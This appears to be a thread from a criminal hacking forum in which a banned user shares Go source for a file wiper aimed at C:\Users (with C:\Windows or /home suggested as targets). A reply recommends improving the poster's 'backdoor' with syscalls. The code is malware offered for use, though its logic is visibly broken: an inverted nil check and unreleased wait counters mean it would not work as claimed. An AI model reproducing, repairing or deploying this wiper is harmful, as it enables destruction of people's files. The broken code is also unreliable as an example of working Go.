• XSS.stack #1 – первый литературный журнал от юзеров форума

simplist golang wiper code !!

stars4

RAID-массив
Забанен
Регистрация
05.08.2023
Сообщения
70
Реакции
12
Пожалуйста, обратите внимание, что пользователь заблокирован
hello, this is my simplist golang wiper source code!!

Код:
package main

import (
    "os"
    "log"
    "sync"
    "time"
    "path/filepath"
)

var (
     thread = sync.WaitGroup{}
     RootFolder = "C:\\Users" // folder to delete files for example C:\\Windows or /home/ on linux
)

func walker(name string, info os.FileInfo, err error) error {
     if info != nil {
        return nil
     }
     if info.IsDir() {
        return nil
     }
     thread.Add(1)
     go func(name string) {
        defer os.Remove(name)
        log.Println("wipe: " + name)
     }(name)
     time.Sleep(time.Millisecond * 5)
     return nil
}

func SetupWiper() {
     defer thread.Done()
     filepath.Walk(RootFolder, walker)
}

func main() {
     thread.Add(1)
     go SetupWiper()
     thread.Wait()
}
 
better idea to improve your backdoor with syscalls instead of writing wipers
 
Пожалуйста, обратите внимание, что пользователь заблокирован
better idea to improve your backdoor with syscalls instead of writing wipers
I know, but I have no knowledge of syscalls, I only know that they are functions, but I would like to learn, some pdf or something that you recommend
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх